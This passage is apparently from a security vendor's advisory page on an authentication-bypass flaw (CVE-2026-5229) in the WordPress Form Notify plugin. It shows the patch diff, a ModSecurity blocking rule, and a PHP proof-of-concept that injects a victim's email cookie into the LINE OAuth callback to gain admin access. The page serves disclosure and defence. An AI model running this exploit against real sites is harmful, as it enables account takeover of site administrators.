-								$headers = array( 'Content-Type: text/html; charset=UTF-8' );
-								$message = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><meta name="viewport" content="width=device-width, initial-scale=1.0"><title></title><!--[if (gte mso 9)|(IE)]><style type="text/css">table{border-collapse: collapse;}</style><![endif]--><style type="text/css"> body{margin: 0 !important; padding: 0; background-color: #ffffff; font-family: "HanHei TC", "PingFang TC", "Helvetica Neue", "Helvetica", "STHeitiTC-Light", "Arial", sans-serif;}table{width:100%;border-spacing: 0; color: #4A4A4A;}td{padding: 0;}img{border: 0;}ul{margin: 0; padding: 0;}li{list-style: none; font-size: 14px; color: #4A4A4A; margin-bottom: 20px;}div[style*="margin: 16px 0"]{margin:0 !important;}.wrapper{width: 100%; table-layout: fixed; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%;}.webkit{max-width: 680px; width: 90%;}.inner{padding: 37px;}p{Margin: 0;}a{color: DodgerBlue; text-decoration: none;}.one-column .contents{text-align: left;}.one-column p{font-size: 14px; margin-bottom: 10px;}.content{background: #efefef;}.color{color: #FA666C;}.btn{position: relative; width: 100%; margin: 10px 0 0 0; display: inline-block; padding: 1rem 0; text-align: center; font-size: 1.2rem; white-space: nowrap;-webkit-border-radius: 100px;-moz-border-radius: 100px;-ms-border-radius: 100px;-o-border-radius: 100px;border-radius: 100px;-webkit-transition: all .2s ease;-o-transition: all .2s ease;transition: all .2s ease;}.btnorage{background: #ED6B00; color: #fff;}.btnorage:hover,.btnred:active{background: #F09F54;}.hr{display: block; width: 100%; height: 1px; margin: 20px 0; background: #ccc;}</style></head><body> <div class="wrapper"> <div class="webkit"><!--[if (gte mso 9)|(IE)]> <table width="375" align="center"> <tr> <td><![endif]--> <table class="outer" align="center"> <tbody> <tr class="psingle"> <td class="one-column"> <table width="100%"> <tbody> <tr> </tr></tbody> </table> </td></tr><tr class="psingle content"> <td class="one-column"> <table width="100%"> <tbody> <tr> <td class="inner contents"> <h3 style="text-align:center">' . $this->replace_message_content( $action['form_notify_action_module_subject'], $form_data ) . '</h3><div>' . nl2br( $this->replace_message_content( $action['form_notify_action_module_content'], $form_data ) ) . '</div><br><hr> <br><p style="text-align: center;">' . get_bloginfo( 'name' ) . '</p><p style="text-align: center;"><a href="' . home_url() . '">' . home_url() . '</a></p></td></tr></tbody> </table> </td></tr></tbody> </table><!--[if (gte mso 9)|(IE)]> </td></tr></table><![endif]--> </div></div> </body></html>';
+								if ( ! is_email( $receiver ) ) {
+									History::insert( 0, $receiver . ' - ' . $this->history_text, 0, __( 'Email', 'form-notify' ), '', __( 'Invalid email address.', 'form-notify' ) );
+									break;
+								}
+								$subject_raw = $this->replace_message_content( $action['form_notify_action_module_subject'], $form_data );
+								$content_raw = $this->replace_message_content( $action['form_notify_action_module_content'], $form_data );
+								$subject     = sanitize_text_field( $subject_raw );
+								$content     = wp_kses_post( $content_raw );
+								$site_name   = esc_html( get_bloginfo( 'name' ) );
+								$site_url    = esc_url( home_url() );
+								$headers     = array( 'Content-Type: text/html; charset=UTF-8' );
+								$message     = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge"/><meta name="viewport" content="width=device-width, initial-scale=1.0"><title></title><!--[if (gte mso 9)|(IE)]><style type="text/css">table{border-collapse: collapse;}</style><![endif]--><style type="text/css"> body{margin: 0 !important; padding: 0; background-color: #ffffff; font-family: "HanHei TC", "PingFang TC", "Helvetica Neue", "Helvetica", "STHeitiTC-Light", "Arial", sans-serif;}table{width:100%;border-spacing: 0; color: #4A4A4A;}td{padding: 0;}img{border: 0;}ul{margin: 0; padding: 0;}li{list-style: none; font-size: 14px; color: #4A4A4A; margin-bottom: 20px;}div[style*="margin: 16px 0"]{margin:0 !important;}.wrapper{width: 100%; table-layout: fixed; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%;}.webkit{max-width: 680px; width: 90%;}.inner{padding: 37px;}p{Margin: 0;}a{color: DodgerBlue; text-decoration: none;}.one-column .contents{text-align: left;}.one-column p{font-size: 14px; margin-bottom: 10px;}.content{background: #efefef;}.color{color: #FA666C;}.btn{position: relative; width: 100%; margin: 10px 0 0 0; display: inline-block; padding: 1rem 0; text-align: center; font-size: 1.2rem; white-space: nowrap;-webkit-border-radius: 100px;-moz-border-radius: 100px;-ms-border-radius: 100px;-o-border-radius: 100px;border-radius: 100px;-webkit-transition: all .2s ease;-o-transition: all .2s ease;transition: all .2s ease;}.btnorage{background: #ED6B00; color: #fff;}.btnorage:hover,.btnred:active{background: #F09F54;}.hr{display: block; width: 100%; height: 1px; margin: 20px 0; background: #ccc;}</style></head><body> <div class="wrapper"> <div class="webkit"><!--[if (gte mso 9)|(IE)]> <table width="375" align="center"> <tr> <td><![endif]--> <table class="outer" align="center"> <tbody> <tr class="psingle"> <td class="one-column"> <table width="100%"> <tbody> <tr> </tr></tbody> </table> </td></tr><tr class="psingle content"> <td class="one-column"> <table width="100%"> <tbody> <tr> <td class="inner contents"> <h3 style="text-align:center">' . esc_html( $subject ) . '</h3><div>' . nl2br( $content ) . '</div><br><hr> <br><p style="text-align: center;">' . $site_name . '</p><p style="text-align: center;"><a href="' . $site_url . '">' . $site_url . '</a></p></td></tr></tbody> </table> </td></tr></tbody> </table><!--[if (gte mso 9)|(IE)]> </td></tr></table><![endif]--> </div></div> </body></html>';
 								wp_mail( $receiver, $subject, $message, $headers );

-								History::insert( 0, $receiver . ' - ' . $this->history_text, 0, __( 'Email', 'form-notify' ), $this->replace_message_content( $action['form_notify_action_module_content'], $form_data ), __( 'Success', 'form-notify' ) );
+								History::insert( 0, $receiver . ' - ' . $this->history_text, 0, __( 'Email', 'form-notify' ), $content_raw, __( 'Success', 'form-notify' ) );
 								break;
 							default:
 								// code...
@@ -227,16 +236,16 @@

 		// Nextend Social Login.
 		global $wpdb;
-		$sql = $wpdb->prepare( "SELECT identifier FROM `{$wpdb->prefix}social_users` WHERE `ID` = %d ", $user_id );
+		$cache_key = 'form_notify_identifier_' . $user_id;
+		$cache     = wp_cache_get( $cache_key );

-		$cache = wp_cache_get( 'form_notify_identifier' );
-
-		if ( ! $cache ) {
-			// @codingStandardsIgnoreStart
-			$result = $wpdb->get_results( $sql );
-			$cache  = $result[0]->identifier;
-			wp_cache_set( 'form_notify_identifier', $cache );
-			// @codingStandardsIgnoreEnd
+		if ( false === $cache ) {
+			// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- caching handled below.
+			$result = $wpdb->get_var(
+				$wpdb->prepare( "SELECT identifier FROM `{$wpdb->prefix}social_users` WHERE `ID` = %d", $user_id )
+			);
+			$cache  = $result ? $result : '';
+			wp_cache_set( $cache_key, $cache );
 		}

 		return $cache;
--- a/form-notify/src/Options/History.php
+++ b/form-notify/src/Options/History.php
@@ -53,8 +53,9 @@
 						<div id="post-body" class="metabox-holder">
 							<div id="post-body-content">
 								<div class="meta-box-sortables ui-sortable">
-									<form method="get" action="<?php echo esc_html( admin_url() ); ?>admin.php?edit_php?post_type=form-notify&page=form-notify-history">
-										<input type="hidden" name="page" value="form-notify-history"/>
+									<form method="get" action="<?php echo esc_url( admin_url( 'edit.php' ) ); ?>">
+										<input type="hidden" name="post_type" value="form-notify"/>
+											<input type="hidden" name="page" value="form-notify-history"/>
 										<?php
 										$this->list_obj->views();
 										$this->list_obj->prepare_items();
@@ -192,22 +193,22 @@
 	 */
 	public static function select( string $keyword, string $field ): int {
 		global $wpdb;
+
+		$allowed_fields = array( 'user_info', 'notify_type', 'notify_content', 'status' );
+		if ( ! in_array( $field, $allowed_fields, true ) ) {
+			return 0;
+		}
+
 		$table_name = $wpdb->prefix . 'form_notify_history';
-		$results    = $wpdb->get_results(
-			$wpdb->prepare(
-				'SELECT ID FROM %s WHERE %s LIKE %s',
-				$table_name,
-				$field,
-				'%' . $wpdb->esc_like( $keyword ) . '%'
-			)
+		// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- $field is from allow-list above; $table_name is server-side.
+		$sql = $wpdb->prepare(
+			"SELECT id FROM {$table_name} WHERE {$field} LIKE %s LIMIT 1",
+			'%' . $wpdb->esc_like( $keyword ) . '%'
 		);
-		if ( $results ) {
-			foreach ( $results as $result ) {
-				return $result->ID;
-			}
-		}
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- one-shot lookup.
+		$row = $wpdb->get_row( $sql );

-		return 0;
+		return $row ? (int) $row->id : 0;
 	}
 }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5229
# Blocks unauthenticated LINE OAuth callback requests with injected email cookie
# Targets the REST API endpoint and the specific cookie parameter used for authentication bypass
SecRule REQUEST_URI "@beginsWith /wp-json/form-notify/v1/callback" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-5229 Authentication Bypass via LINE OAuth Cookie Injection',severity:'CRITICAL',tag:'CVE-2026-5229'"
  SecRule REQUEST_HEADERS:Cookie "@contains form_notify_line_email" 
    "chain"
    SecRule REQUEST_METHOD "@streq GET" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5229 - Unauthenticated Authentication Bypass via LINE OAuth Callback

<?php

$target_url = 'https://example.com'; // Change this to the target WordPress site

// Step 1: Initiate LINE login to get the OAuth callback parameters
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/form-notify/v1/login/',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_NOBODY => false,
    CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
curl_close($ch);

// Extract state parameter from redirect URL
preg_match('/state=([a-f0-9]{32})/', $headers, $matches);
$state = $matches[1] ?? '';

if (empty($state)) {
    echo "Failed to get state parameter. Target may not be vulnerable or plugin disabled.n";
    exit(1);
}

echo "[+] Retrieved state: $staten";

// Step 2: Simulate LINE OAuth callback with attacker's LINE account
// Attacker completes LINE OAuth with their own account, then injects cookie for victim's email
$victim_email = 'admin@example.com'; // Target admin email (customize)

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-json/form-notify/v1/callback?code=fake_line_code&state=' . $state,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIE => 'form_notify_line_email=' . urlencode($victim_email),
    CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check for auth cookies in response headers
if (preg_match('/Set-Cookie: ([^=]+=[^;]+)/i', $headers, $cookie_matches)) {
    echo "[+] Got auth cookie from response: " . $cookie_matches[1] . "n";
    echo "[!] Exploitation succeeded. Attacker is now authenticated as $victim_emailn";
    echo "[!] Use the obtained cookie to access wp-admin or other authenticated endpoints.n";
} else {
    echo "[-] No auth cookie received. Exploit may have failed.n";
}

// Step 3: Verify access (optional - check if we can access admin)
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIE => 'form_notify_line_email=' . urlencode($victim_email),
    CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'Dashboard') !== false || strpos($response, 'wp-admin') !== false) {
    echo "[+] Successfully accessed WordPress admin panel!n";
} else {
    echo "[-] Could not access admin panel; might need the complete session cookie.n";
}

echo "n[*] Note: This PoC demonstrates the vulnerability concept. In a real attack, the attacker must complete a valid LINE OAuth flow with their own LINE account and inject the cookie with victim's email during the callback.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School